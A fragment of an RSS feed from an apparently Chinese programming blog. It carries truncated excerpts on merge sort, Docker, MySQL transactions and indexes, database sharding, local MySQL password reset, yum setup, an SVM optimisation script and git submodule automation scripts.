      <description>1.归并排序 基本思想：&#xA;归并排序是建立在归并操作上的一种有效的排序算法,该算法是采用分治法的一个非常典型的应用。将已有序的子序列合并，得到完全有序的序列；即先使每个子序列有序，再使子序列段间有序。若将两个有序表合并成一个有序表，称为二路归并。 归并排序核心步骤：&#xA;相当于每次把待排数据分为两个子区间，如果每个子区间有序，再让两个子区间归并起来也有序，那整体就有序了。我们可以按照二叉树的思想，把子区间再分为两份，使子区间的子区间有序.......直到子区间分无可分为止。&#xA;具体过程如下：&#xA;那该如何让两个有序子区间归并呢？&#xA;直接在数组中肯定不行，这样会发生数据的覆盖。所以我们可以像之前合并两个有序数组一样，另外开辟一个空间tmp，依次比较两个有序子区间的值，每次比较后把较小的放在tmp中，如果其中一个子区间提前结束，就把另外一个子区间的剩余的数据全放进tmp，最后把tmp中的数据拷贝回原数组。&#xA;使用递归实现：&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; void _MegeSort(int* a, int begin, int end,int*tmp) { //只剩一个数据，递归结束 if (begin == end) { return; } int mid = (begin + end) / 2; //递归子区间，分为两部分 _MegeSort(a, begin, mid, tmp); _MegeSort(a, mid+1, end, tmp); int begin1 = begin, end1 = mid; int begin2 = mid + 1, end2 = end; int j = begin; //两部分比较，每次小的放入tmp while (begin1 &amp;lt;= end1 &amp;amp;&amp;amp; begin2 &amp;lt;= end2) { if (a[begin1] &amp;lt; a[begin2]) { tmp[j++] = a[begin1++]; } else { tmp[j++] = a[begin2++]; } } //哪部分有剩余，全部放入tmp while (begin1 &amp;lt;= end1) { tmp[j++] = a[begin1++]; } while (begin2 &amp;lt;= end2) { tmp[j++] = a[begin2++]; } //拷贝到原数组 memcpy(a + begin, tmp + begin, sizeof(int) * (end - begin + 1)); } void MegeSort(int* a, int n) { int* tmp = (int*)malloc(sizeof(int) * n); _MegeSort(a, 0, n - 1, tmp); free(tmp); } void Print(int* a, int n) { for (int i = 0; i &amp;lt; n; i++) { printf(&#34;</description>
    </item>
    <item>
      <title>uniapp 隐私政策弹框</title>
      <link>https://bchobby.github.io/posts/d42636857eff3f592f0b7450620884f0/</link>
      <pubDate>Fri, 24 Nov 2023 19:57:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d42636857eff3f592f0b7450620884f0/</guid>
      <description>然后根目录新建文件androidPrivacy.json&#xA;{ &#34;version&#34; : &#34;1&#34;, &#34;prompt&#34; : &#34;template&#34;, &#34;title&#34; : &#34;服务协议与隐私政策&#34;, &#34;message&#34; : &#34;\t请务必审慎阅读、充分理解“服务协议与 隐私政策”各条款，包括但不限于：为了 向你提供即时通讯、内容分享等服务，我 们需要收集你的设备信息、操作日志等个 人信息。你可以在“设置”中查看、变更、删除个人信息并管理你的授权。&amp;lt;br/&amp;gt;\r \t你可以阅读 &amp;lt;a href=\&#34;https://shop.baihuitimes.com/register.html\&#34;&amp;gt;《用户协议》&amp;lt;/a&amp;gt; 与 &amp;lt;a href=\&#34;https://shop.baihuitimes.com/protocol.html\&#34;&amp;gt;《隐私政策》&amp;lt;/a&amp;gt;了解详细信息。如你同意，请点击“我同意”开始接受我们的服务。&#34;, &#34;buttonAccept&#34; : &#34;同意并接受&#34;, &#34;buttonRefuse&#34; : &#34;暂不同意&#34;, &#34;second&#34; : { &#34;title&#34; : &#34;确认提示&#34;, &#34;message&#34; : &#34;进入应用前，你需先同意&amp;lt;a href=\&#34;https://shop.baihuitimes.com/register.html\&#34;&amp;gt;《用户协议》&amp;lt;/a&amp;gt; 与 &amp;lt;a href=\&#34;https://shop.baihuitimes.com/protocol.html\&#34;&amp;gt;《隐私政策》&amp;lt;/a&amp;gt;，否则将退出应用。&#34;, &#34;buttonAccept&#34; : &#34;同意并继续&#34;, &#34;buttonRefuse&#34; : &#34;退出应用&#34; }, &#34;styles&#34; : { &#34;backgroundColor&#34; : &#34;#fff&#34;, &#34;borderRadius&#34; : &#34;5px&#34;, &#34;title&#34; : { &#34;color&#34; : &#34;#000&#34; }, &#34;buttonAccept&#34; : { &#34;</description>
    </item>
    <item>
      <title>【容器】docker基础使用</title>
      <link>https://bchobby.github.io/posts/159f749de2d98bb47a94cb3135e29a19/</link>
      <pubDate>Fri, 24 Nov 2023 15:47:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/159f749de2d98bb47a94cb3135e29a19/</guid>
      <description>文章目录 一、image镜像相关命令二、docker容器常见命令1. 镜像相关命令：2. 容器相关命令：3. 日志和输出相关命令：4. 网络和端口相关命令： 三、注意事项Reference 一、image镜像相关命令 以下是一些常用的Docker镜像操作命令：&#xA;docker pull &amp;lt;image&amp;gt;：从Docker仓库下载（拉取）一个镜像到本地。&#xA;docker images：列出本地已下载的镜像列表。&#xA;docker rmi &amp;lt;image&amp;gt;：删除本地的一个镜像。&#xA;docker run &amp;lt;image&amp;gt;：运行一个镜像创建的容器。&#xA;docker build -t &amp;lt;image&amp;gt;:&amp;lt;tag&amp;gt; &amp;lt;Dockerfile路径&amp;gt;：根据Dockerfile构建一个新的镜像。&#xA;docker push &amp;lt;image&amp;gt;：将本地的镜像推送到Docker仓库。&#xA;docker save &amp;lt;image&amp;gt; -o &amp;lt;输出文件路径&amp;gt;：将一个镜像保存为一个压缩文件。&#xA;docker load -i &amp;lt;输入文件路径&amp;gt;：从一个压缩文件中加载镜像。&#xA;docker tag &amp;lt;image&amp;gt; &amp;lt;新的标签&amp;gt;：为一个现有的镜像打标签。&#xA;docker inspect &amp;lt;image&amp;gt;：查看一个镜像的详细信息。&#xA;二、docker容器常见命令 docker是一个容器化平台。&#xA;Docker介绍：（官网：https://www.docker.com/get-started）&#xA;Docker 是一个开源的应用容器引擎，你可以把它当作一个轻量级的虚拟机。它可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中，然后发布到任何流行的操作系统，比如 Linux/Windows/Mac 的机器上。Docker 容器相互之间不会有任何接口，而且容器本身的开销极低，这就让 Docker 成为了非常灵活、安全、伸缩性极强的计算资源平台。&#xA;以下是一些常见的 Docker 命令：&#xA;1. 镜像相关命令： docker images：列出本地的镜像。docker pull &amp;lt;image&amp;gt;：从 Docker 镜像仓库中下载镜像。docker push &amp;lt;image&amp;gt;：将本地的镜像推送到镜像仓库。docker rmi &amp;lt;image&amp;gt;：删除本地的镜像。 2.</description>
    </item>
    <item>
      <title>aliyun MQTT ：纯透传配置</title>
      <link>https://bchobby.github.io/posts/1c87458e5a72af143d00798cd4ad7957/</link>
      <pubDate>Fri, 24 Nov 2023 15:20:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c87458e5a72af143d00798cd4ad7957/</guid>
      <description>1. 定义主题 2.添加设备&#xA;在阿里平台拷贝连接参数（客户ID，用户名，密码，域名等），配置自己的设备（或者模拟设备的MQTTX客户端）。请参考其它网上资料，具体过程略。&#xA;3.下发消息 如果设备上线成功，平台会显示在线。如果设备还订阅了规定的主题，也会显示出来。&#xA;只连接，不订阅的，就没有这个主题的显示。&#xA;主题右边，有个发布消息按钮。点进入。&#xA;输入消息内容，点击确认。设备就会收到数据。这里有个傻逼的设计，阿里的蠢货只允许输入文本，不能输入二进制数据。例如我尝试0x1234，对方设备收到的是&#34;0x1234&#34;字符串。而且另外一个傻逼的设计，回车换行，对方设备只能收到0x0A，收不到0x0D.&#xA;4. 消息上行 设备可以发布预定义的主题（在产品的自定义主题时设置的）。&#xA;在日志服务，可以查看到设备上行的消息</description>
    </item>
    <item>
      <title>mysql事务隔离级别实现原理全面解读？</title>
      <link>https://bchobby.github.io/posts/978f7ad67ddfb43a9e1e0c8b448ec5ac/</link>
      <pubDate>Fri, 24 Nov 2023 15:18:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/978f7ad67ddfb43a9e1e0c8b448ec5ac/</guid>
      <description>本文目录 2022-10-17 修正版～2023-02-16 新增～夺命6连call，本文高能全是干货！！！！莫慌本文一一来探究～～～～～来自大三时候码的文章解决不可重复读演示Readview可见性算法规避幻读的演示及解读特殊情况下发生的幻读 探究完了幻读，顺便提一嘴mysql中的锁机制，mysql中的锁有很多大体如下：间隙锁区间详解思考**面试专栏**小咸鱼的技术窝 2022-10-17 修正版～ 修正内容（工作后修正的内容）：&#xA;可重复度没有解决幻读，只是极大程度避免了快照读下会发生的幻读情况增加 Mvcc Readview、版本控制链条内容的诠释，帮助读者更好的理解可重复度与幻读的关系增加实验，验证RR隔离级别下，幻读还是有可能发生的，以及诠释发生的原因 2023-02-16 新增～ 更新点：结合自己阅读源码的经验，新增面试专栏，后续会一直更新，如果回答的造成了误解，望斧正。看到并采纳会及时修成。&#xA;夺命6连call，本文高能全是干货！！！！ 天天用事务可是你知道事务是怎么来实现的吗？什么叫做事务？事务是什么？mysql中的锁了解嘛？mysql中有哪些锁？mysql中的锁和事务有什么联系？事务有什么特性呢？事务隔离级别有哪几种？不同事务隔离级别解决了什么问题？spring中的事务与mysql中的事务有什么区别？开启事务的方式有哪几种？ 莫慌本文一一来探究～～～～～来自大三时候码的文章 什么叫做事务？事务是什么？&#xA;事务： java硬编码角度：保证代码片段伪原子性执行的一种手段sql角度：保证sql语句伪原子执行的一种手段 事务有什么特性？（基本概念不过多解读）&#xA;原子性、持久性、一致性、 隔离性 事务隔离级别有哪些？（基本概念不过多解读）&#xA;读已经提交、读未提交、可重复读（mysql默认隔离级别）、串行化 不同事务隔离级别解决了什么问题？（先搞清楚有什么问题！下文着重有研究）&#xA;事务能解决的问题 脏读：一个事务读取到另一个事务未提交的数据幻读：情况一：开启一个事务，第一次查 name =1 的数据查不到，第二次查到了。情况二：开启一个事务：第一次查 name =1 的数据只有一条，第二次查到了多条。情况三：开启一个事务：第一次查所有数据只有一条，第二次查到了一条以上的数据不可重复读：一个事务内，对于同一条数据的读取，读取 内容 前后不一致（mvcc解决了） 读未提交：啥问题都没解决，不愧是地主家的傻儿子啊💩读已提交：解决了脏读可重复读：极大的避免了 当前读 下幻读的发生、解决了脏读、不可重复读串行化：解决了幻读、脏读、不可重复读 可能很多读者很疑惑，到底可重复度解决了幻读还是没解决呢？我在刚入坑mysql的时候也为此疑惑过，毕竟当初也是看着网上的教程一步步走过来的（网上的资源鱼龙混杂）。要搞明白这个问题首先就要知道什么是幻读？如上事务能解决的问题二&#xA;为什么说可重复读隔离级别下极大的避免当前读下幻读的发生、解决了不可重复读呢？（严谨点来说是这一切都是针对mysql下的innodb存储引擎来说的）&#xA;解决不可重复读演示 先后开启事务一、事务二，事务一查询 id 为 3 的数据，查到结果如下图一，然后切换事务二查 id 为 3 的数据，查到的结果和下图一一致，紧接着事务一执行下图一中的更新操作，并且提交事务一，事务二接着查 id 为 3 的数据，查到的结果依然和下图一一致。&#xA;事务一&#xA;事务二&#xA;剖析上述图片是如何：解决不可重复读的： 可重复读隔离级别是基于MVCC（版本控制链）解决了不可重复读的问题，而所谓的MVCC即版本控制链，可以这么来理解这个版本控制链：某条数据的各个历史版本的链条，且内部根据修改时间排序。可重复读只会在第一次 select 的时候生成一个 Readview，后续的快照读，都要做判断，是否满足 Readview 可见性，满足才读取反之不读取，这其中的Readview 算法保证了可重复读，解决了不可重复读的问题 不知道读者思考过：快照读、拍快照 Readview 是个什么东西？其实不管是什么高深抽象的名字，在开发上一定都是有他自己的一套运作逻辑的，其实 Readview 就是一个类，里面装载了：Readview 生成时刻的活跃事务id列表、Readview 生成时刻的活跃事务最小id、Readview 生成时刻的已出现过的事务id+1、生成 Readview 的事务id，然后根据这些条件，去版本控制链上依次去做条件判断，找出当前事务可见的数据</description>
    </item>
    <item>
      <title>Laya 在控制面板暴露属性汇总</title>
      <link>https://bchobby.github.io/posts/fe1f6f8c27365a51980c70eee14943a1/</link>
      <pubDate>Fri, 24 Nov 2023 15:17:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe1f6f8c27365a51980c70eee14943a1/</guid>
      <description>//隐藏控制 @property({ type: Boolean }) a: boolean; @property({ type: String, hidden: &#34;!data.a&#34; })//将条件表达式!data.a放在了字符串中，如果a为true（在IDE中为勾选状态），则!data.a返回false，此时hidden属性表示的是显示 hide: string = &#34;&#34;; // 只读控制 @property({ type: Boolean }) b: boolean; @property({ type: String, readonly: &#34;data.b&#34; })//将条件表达式data.b放在了字符串中，如果b为true（在IDE中为勾选状态），则data.b就返回true，此时readonly属性表示只读 read: string = &#34;&#34;; //数据检查机制 @property(String) text1: string; @property({ type: String, validator: &#34;if (value == data.text1) return &#39;不能与a值相同&#39; &#34; }) text2: string = &#34;&#34;; //密码输入 @property({ type: String, password: true }) password: string; //如果true或者缺省，文本输入每次输入都提交；否则只有在失焦时才提交 @property({ type: String, submitOnTyping: false }) submit: string; //输入文本的提示信息 @property({ type: &#34;</description>
    </item>
    <item>
      <title>Laya中的脚本与外部的Js之间相互调用</title>
      <link>https://bchobby.github.io/posts/37d689a6dc9c139695d0fe1c2bd80bcb/</link>
      <pubDate>Fri, 24 Nov 2023 15:16:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37d689a6dc9c139695d0fe1c2bd80bcb/</guid>
      <description>Laya调用Js&#xA;要在LayaAir游戏引擎中调用JavaScript代码，你可以使用LayaAir提供的JavaScript接口。下面是一个简单的示例，展示了如何在LayaAir项目中调用JavaScript函数：&#xA;创建一个LayaAir项目，并确保你已经设置好了项目的基本结构。在LayaAir项目中的任意一个类（例如主入口类）中添加以下代码： // 导入JavaScript接口 declare function jsFunction(param: any): any; class Main { constructor() { // 调用JavaScript函数 this.callJSFunction(); } private callJSFunction(): void { // 调用JavaScript函数并传递参数 const result = jsFunction(&#34;Hello from LayaAir!&#34;); console.log(result); } } 编译和运行LayaAir项目，确保你的项目能够正常启动。在LayaAir项目的HTML文件中添加一个JavaScript脚本标签，定义jsFunction函数的实现： &amp;lt;script&amp;gt; // 定义JavaScript函数 function jsFunction(param) { console.log(&#34;JavaScript function called with parameter: &#34; + param); return &#34;Response from JavaScript&#34;; } &amp;lt;/script&amp;gt; 刷新浏览器，你将在浏览器的控制台中看到如下输出： JavaScript function called with parameter: Hello from LayaAir! Response from JavaScript 这样，你就成功地在LayaAir项目中调用了JavaScript函数并获取了返回值。请根据你的实际需求修改和扩展这个示例代码。&#xA;Js调用Laya</description>
    </item>
    <item>
      <title>mysql中的各种索引大总结</title>
      <link>https://bchobby.github.io/posts/b8d79473148cb7dc3ef83fd3addcb21e/</link>
      <pubDate>Fri, 24 Nov 2023 15:12:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8d79473148cb7dc3ef83fd3addcb21e/</guid>
      <description>文章目录 为啥不用二叉搜索树？为啥不用平衡二叉（avl）树？为啥不用b-树？为啥用b+树？（重点）索引聚簇索引聚簇索引的局限聚集的数据的优点非聚簇索引介绍组合索引覆盖索引前缀索引前缀索引选择算法全文索引hash索引b-tree索引自适应哈希索引小咸鱼的技术窝 b-tree索引使用的是b+树的数据结构，树有这么多种，那为啥就选择b+树呢？那就从为啥使用b+树开始，到分析其原理的思路一步步分析吧。以下内容针对innodb来说 为啥不用二叉搜索树？ 二叉搜索树定义：&#xA;非空左子树的所有键值小于其根结点的键值。非空右子树的所有键值大于其根结点的键值。左、右子树都是二叉搜索树。就是左节点&amp;lt;根节点&amp;lt;右节点。 看下图树太高了。查询效率太低，故不推荐。 为啥不用平衡二叉（avl）树？ 平衡二叉（avl）树定义：&#xA;非叶子节点最多拥有两个子节点。非叶子节值大于左边子节点、小于右边子节点。树的左右两边的层级数相差不会大于1。没有值相等重复的节点。 虽然avl树对于二叉树来说是平衡了降低了树的高度，虽然提高了性能，但是数据量大一点的时候，高度依旧很高。毕竟定义一摆在那，非叶子节点怎么找最多也只能有俩个子节点，故不推荐。&#xA;为啥不用b-树？ b-树定义：&#xA;在一个节点中，存放着数据（包括key和data）以及指针，且相互间隔。&#xA;同一个节点，key增序。&#xA;一个节点最左边的指针不为空，则它指定的节点左右的key小于最左边的key。右边同理。中间的指针指向的节点的key位于相邻两个key的中间。&#xA;B-Tree中不同节点存放的key和指针可能数量不一致，但是每个节点的域和上限是一致的，所以在实现中B-Tree往往对每个节点申请同等大小的空间。&#xA;每个非叶子节点由n-1个key和n个指针组成，其中d&amp;lt;=n&amp;lt;=2d。&#xA;简单点来说呢，b-树又称多路查找树相对于avl树来说就是每个节点下面可以有多个分叉。至少多于2个叉撒，对于百万级别的数据又是降低了树的高度，虽然提高了性能，但是由于每个索引节点都有存放&#xA;data域的指针，而我们计算机每次从磁盘读取数据时以页（4kb）为单位，每次读取4096byte的数据，导致读取单个节点时，可能由于节点过大，每次读出的数据有限，从而增大io次数，故在mysql这种关系型数据库中不推荐。但是b-树还是有它自己的优点的，如果查找的节点，离根节点很近那么查找的效率还是很高的&#xA;为啥用b+树？（重点） b+树定义：&#xA;内节点不存储data，只存储key和指针；叶子节点不存储指针，存key和data。内节点和叶子节点大小不同。每个节点的指针上限为2d而不是2d+1 b+树相对与b-树来说好的地方就是：&#xA;数据只在叶子节点上面才有。解决了b-树非叶子节点过大导致io次数过多的问题。树高更低同时由于非叶子节点不放数据，单个节点能存的关键字更多了，极大的降低了树的层级高度。可以范围查找由于叶子节点之间是有一个有序链表来维护的，进行范围查找十分方便，单向的还是双向的不清楚，先搁着下面测试在来看。全节点遍历更快b+树只需扫描叶子节点，而不是像b-树那样逐层扫描每个节点查询速度更稳定如果是b-树，查离根节点近的速度就快，远的就慢，而b+树数据全在叶子节点，每次查找的速度都相同&#xA;到此为啥使用b+树就有底了。那么开始正文。。。。。 索引 索引定义：一种数据结构&#xA;按照范围从大到小来说吧，最大的是聚簇索引、非聚簇索引。接着是我们常说的b-tree索引、hash索引，而我们的覆盖索引、前缀索引、组合索引、复合索引、全文索引是基于b-tree、hash索引来说的，还有的就是Innodb引擎独有的自适应哈希索引下面一一展开了来说。&#xA;聚簇索引 聚簇索引定义：是一种存储数据的方式，数据与索引在一个文件中。它的辅助索引的叶子节点存储的是指向行的指针。&#xA;一般来说innodb是按照主键来进行聚集的，这就意味着被索引的列就是主键列。如果主键不存在，其次就是按照非空唯一性约束来进行聚集，如果这个约束都没得，其次就是按照Innodb它自己生成的一个隐藏主键列来聚集。那么使用聚簇索引有什么优缺点吗？当然是有的。&#xA;聚簇索引的局限 如果我们往聚簇索引中插入非顺序的数据时的情况下面&#xA;由于新行的主键不一定比前一个大，Innodb不能总是把数据插入到最后一行，因此需要为新行进行寻找位置，从而进行多次随机的io更新数据时innodb有时不得不进行分页，为新行开辟内存空间，这会导致移动大量的数据页面会因为分页变得稀疏不规则从而就会导致一些不规则的碎片产生在没有覆盖索引的情况下，查辅助索引的时候，经常需要回表&#xA;而且如果我们按照主键顺序插入行的情况下，使用uuid來聚集也是不好的。也会产生写，到磁盘上的数据被重新读取出来，并且由于位置的不确定，也会导致大量的数据移动 聚集的数据的优点 聚集索引把数据和索引全部放到一个b-tree下面，从聚集索引中取得数据通常比非聚集索引取得的数据更快，因为不需要二次查找。对于范围查询的效率很高，因为数据是有序的 非聚簇索引介绍 非聚簇索引是什么呢？其实我们所说的辅助索引、第二索引啊啥的其实可以理解为就是非聚簇索引。非聚簇索引就是叶子节点的data域中存的不是完整的数据，而是指向磁盘数据的指针。&#xA;组合索引 定义：单列索引的组合。我感觉和覆盖索引没啥差别，假设现在有一张表（test）有a,b,c,d,e这么几个字段，其中我们为a，b，c列添加一个索引叫a_b_c，这个就是组合索引。&#xA;覆盖索引 定义：索引列已经包含了我们需要查询的数据。其实就是组合索引（复合索引）在特定情况下的又一别称。假设现在有一张表（test）有a,b,c,d,e这么几个字段，其中我们为a，b，c列添加一个索引叫a_b_c，现在select a,b,c from test where a = x1 and b = x2 and c = x3;我们需要查询的数据在辅助索引上面已经有了，此时使用的就是复合索引。&#xA;前缀索引 定义：为数据的前面几个字段创建的索引。我个人理解其实就是单列索引的变种。那为什么要为前几个字符创建索引而不是为其全部来创建索引呢？原因也是很简单，这个得结合应用场景来说了。现在有这么一张表，专门是存储家庭地址的，一个地址动不动就是十来个字的长度，如果我们以全部长度来创建索引，那么这个索引文件是超级的大啊。此时创建前缀索引是个不错的选择，可以大幅度压缩索引的大小，那么我们该如何确定前缀索引的长度的呢？这就是涉及到一个算法了。&#xA;前缀索引选择算法 不重复的索引值/所有行 = 比值，这个比值接近7的时候，所得到的结果就会越加精确。&#xA;全文索引 参考&#xA;https://blog.csdn.net/Samdy_Chan/article/details/78138420?utm_medium=distribute.pc_relevant.none-task-blog-blogcommendfrommachinelearnpai2-1.edu_weight&amp;amp;depth_1-utm_source=distribute.pc_relevant.none-task-blog-blogcommendfrommachinelearnpai2-1.edu_weight&#xA;hash索引 使用的场景：一些读操作密集的表建议使用hash索引，因为hash索引的查找速度是很快的。但是也有一些局限。</description>
    </item>
    <item>
      <title>一文搞懂分库分表算法，通俗易懂（基因法、一致性 hash、时间维度）</title>
      <link>https://bchobby.github.io/posts/fda421d5dedc59fc92051ecedceea31c/</link>
      <pubDate>Fri, 24 Nov 2023 15:07:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fda421d5dedc59fc92051ecedceea31c/</guid>
      <description>一文搞懂分库分表算法，通俗易懂（基因法、一致性 hash、时间维度）目录 前言分库分表算法-时间维度分库分表算法-基因替换法（使用）分库分表算法-基因替换法（缺点之扩容难）分库分表算法-基因替换法（缺点之容易生成重复订单号）分库分表算法-基因拼接法介绍分库分表算法-基因拼接法使用基因拼接、替换法生成重复订单号数量对比测试分库分表算法之一致性 Hash 法（使用）分库分表算法之一致性 Hash 优缺点小咸鱼的技术窝 前言 最近手上一个系统的访问速度有点慢，老早前用多线程优化过一些接口,将一些复杂 sql 改成单表查询，走内存处理，成功的将 一些 10 多秒的接口优化到 500 ms，但是数据量上来了单表查询效率也有点慢了，不得不考虑进行分库分表了，当然我这里只进行分表，没分库，问就是服务器资源紧张！并借此深入总结一下主流的几种分库还有分表算法。分库分表最繁琐的地方在于迁移数据和比对数据！！！！！！&#xA;分库分表算法-时间维度 其实分库分表配置很简单，复杂的是旧数据的迁移还有校对。以及后续需要考虑的扩容。举个例子按时间维度扩容很简单，分库算法：按年对库的总数进行取模。分表算法：按月对表的总数进行取模。用代码实现如下&#xA;static int DB_COUNT = 17; static int TABLE_COUNT = 12; public static void main(String[] args) { for (int year = 2023; year &amp;lt; 2040; year++) { System.err.println(year + &#34;年的数据对应：&#34; + getDbIndex(year) + &#34;库&#34;); } System.err.println(&#34;---------------&#34;); for (int month = 1; month &amp;lt;= 12; month++) { System.err.println(month + &#34;月的数据对应：&#34; + getTableIndex(month) + &#34;</description>
    </item>
    <item>
      <title>修改mysql的密码（每一步都图文解释哦）</title>
      <link>https://bchobby.github.io/posts/fad3f19138a9183744e07832603effc7/</link>
      <pubDate>Fri, 24 Nov 2023 11:28:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fad3f19138a9183744e07832603effc7/</guid>
      <description> 当你想要连接本机数据库时，是不是有可能突然忘记了自己的数据库密码?&#xA;在此文中，我们来详细解决一下如何去修改自己的数据库密码，并使用Navicat来连接测试&#xA;1.停止mysql服务 打开终端，键入命令,将mysql服务先停止掉，可能会需要密码&#xA;sudo /usr/local/mysql/support-files/mysql.server stop 或者打开咱们的系统偏爱设置（有可能停不掉，具体原因为未知）&#xA;点击stop后，需要输入本机密码。&#xA;2.进入mysql的bin目录 cd /usr/local/mysql/bin/ 3. 调用root账户（这一步要输入mac密码） sudo su 4.安全验证 ./mysqld_safe --skip-grant-tables &amp;amp; 回车以禁止mysql验证功能，mysql会自动重启，偏好设置中的mysql状态会变成running&#xA;5.输入./mysql，进入mysql命令模式 ./mysql 6.刷新一下权限 分号不可以少，不然报格式错误&#xA;flush privileges; 7.修改并重置密码 这里的&#39; &#39; 不可以删除&#xA;ALTER USER &#39;root&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;你的新密码&#39;; 列如 ALTER USER &#39;root&#39; @&#39;localhost&#39; IDENTIFIED BY ‘123456’; 分号不可以丢，所以的引号必须是英文！！！！推荐直接复制&#xA;我这里错误就是因为分号是中文符号 。&#xA;8.登录mysql 先后执行代码，输入密码看到如下即可&#xA;quit exit /usr/local/mysql/bin/mysql -u root -p navicat连接成功&#xA;9.常见错误 如果失败报错2003 那么就重新启动一下mysql 执行命令先关闭在开启&#xA;sudo /usr/local/mysql/support-files/mysql.server stop cd /usr/local/mysql sudo ./support-files/mysql.server start </description>
    </item>
    <item>
      <title>Hadoop发行版 Cloudera CDH 6.3.2及CM 安装包下载（阿里云盘 不限速）</title>
      <link>https://bchobby.github.io/posts/a85be7d6bcc60f0527c5b69e7f050d2c/</link>
      <pubDate>Fri, 24 Nov 2023 11:15:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a85be7d6bcc60f0527c5b69e7f050d2c/</guid>
      <description> CDH（全称Cloudera’s Distribution, including Apache Hadoop）是由Cloudera公司构建的Hadoop稳定发行版，不仅含有 Apache Hadoop，还整合了Hive、Spark等组件。 由于CDH已停止维护，且Cloudera不再为CDH提供免费的下载服务，因此网上很难直接下载到CDH和管理工具CM的安装包。&#xA;百度云盘上的资源下载速度极慢，开了会员才下载下来。&#xA;现已上传至不限速的阿里云盘：&#xA;Cloudera-CDH-6.3.2阿里云盘分享提取码: 2m7a </description>
    </item>
    <item>
      <title>yum的配置</title>
      <link>https://bchobby.github.io/posts/f08c19292d47e15a6e5cdee60685ec1b/</link>
      <pubDate>Fri, 24 Nov 2023 09:28:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f08c19292d47e15a6e5cdee60685ec1b/</guid>
      <description>yum YUM ， Yellowdog Updater Modified ，⻩狗升级器 软件仓库：集中分发 .rpm 软件包资源，并解决软件之间的依赖关系 客⼾机：使⽤ yum 查询 / 安装 / 卸载软件 1、准备软件仓库⽬录 CentOS7 安装盘已预先配置成软件仓库，可以直接使⽤ [root@bogon ~]# mkdir -p /repo/cos7dvd [root@bogon ~]# mount /dev/cdrom /repo/cos7dvd //将cdrom⽂件(镜像⽂件)挂载到/repo/cos7dvd mount: /dev/sr0 写保护，将以只读⽅式挂载 [root@bogon ~]# ls /repo/cos7dvd/ CentOS_BuildTag EULA images LiveOS repodata RPM-GPG-KEY-CentOS-Testing-7 EFI GPL isolinux Packages RPM-GPG-KEY-CentOS-7 TRANS.TB //repodata：仓库档案资料 //Packages：软件包⽬录 [root@bogon ~]# vim /etc/fstab //配置开机挂载 /dev/cdrom /repo/cos7dvd iso9660 defaults 0 0 2、更改yum软件源 第 1 步，禁⽤⽆效源 对于⽤不到 / 不能⽤的源（⽐如官⽅源），可以直接删除 配置位置： /etc/yum.</description>
    </item>
    <item>
      <title>SSA-SVM</title>
      <link>https://bchobby.github.io/posts/bc923ca6cb2d3efd2b406ff9db725b5a/</link>
      <pubDate>Fri, 24 Nov 2023 01:40:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc923ca6cb2d3efd2b406ff9db725b5a/</guid>
      <description>import numpy as np import random from matplotlib import pyplot as plt import scipy.io as scio from sklearn import svm from sklearn import preprocessing from sklearn.metrics import accuracy_score &#39;&#39;&#39;优化函数&#39;&#39;&#39; #定义适应函数，以测试集的错误率为适应度值 def fun(X): #3.训练svm分类器 classifier=svm.SVC(C=X[0],kernel=&#39;rbf&#39;,gamma=X[1]) # ovr:一对多策略 classifier.fit(train_wine,train_label.ravel()) #ravel函数在降维时默认是行序优先 #4.计算svc分类器的准确率 #tra_label=classifier.predict(train_wine) #训练集的预测标签 tes_label=classifier.predict(test_wine) #测试集的预测标签 output = 1 - accuracy_score(test_label,tes_label)#计算错误率，如果错误率越小，结果越优 return output &#39;&#39;&#39; 种群初始化函数 &#39;&#39;&#39; def initial(pop, dim, ub, lb): X = np.zeros([pop, dim]) for i in range(pop): for j in range(dim): X[i, j] = random.</description>
    </item>
    <item>
      <title>带submodule的git仓库自动化一键git push、git pull脚本</title>
      <link>https://bchobby.github.io/posts/9351d15750fead384e21b4394eb85de7/</link>
      <pubDate>Fri, 24 Nov 2023 01:35:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9351d15750fead384e21b4394eb85de7/</guid>
      <description>前言 很久没写博客了，今天难得闲下来写一次。&#xA;不知道大家在使用git的时候有没有遇到过这样的问题：发现git submodule特别好用，适合用于满足同时开发和部署的需求，并且结构清晰，方便我们对整个代码层次有一个大概的了解。但是很烦人的一点就是每次做完开发都要一个一个进入仓库提交更改，很浪费时间，也浪费力气。&#xA;（尤其是我这种子模块里带子模块的重度用户）&#xA;（这只是顶层模块，一共大概有10多个仓库）&#xA;于是哥们奋发图强，为了一劳永逸，终于是憋了两坨大的出来，大家只要把下面的两个脚本放在顶层的仓库目录下就可以开开心心地使用了&#xA;首先是自动pull脚本（如果有merge冲突还是不要用为好，纯部署用用就行了）&#xA;#!/bin/bash # 配置凭据帮助器，使用可自动提供凭据的方式（例如使用 cache，store，或者其他支持的方式） git config --global credential.helper store # 获取当前目录下的所有子模块路径 submodules=$(git submodule foreach --recursive --quiet &#39;echo &#34;$PWD/$path&#34;&#39;) # 移除路径中的最后一个文件夹 submodules=$(echo &#34;$submodules&#34; | xargs -I{} dirname {} | sort | uniq) # 去掉根目录 root_dir=$(git rev-parse --show-toplevel) submodules=$(echo &#34;$submodules&#34; | sed &#34;s|$root_dir/||&#34;) # 循环遍历子模块并执行 git pull for submodule in $submodules; do echo &#34;Updating submodule: $submodule&#34; ( cd &#34;$submodule&#34; # 执行 git pull，注意：这里假设你的凭据已经被缓存 git pull ) done git pull echo &#34;</description>
    </item>
    <item>
      <title>OmniGraffle</title>
      <link>https://bchobby.github.io/posts/abf63aa5b218c03e0d0d08a50bb4f322/</link>
      <pubDate>Thu, 23 Nov 2023 23:06:06 +0800</pubDate>
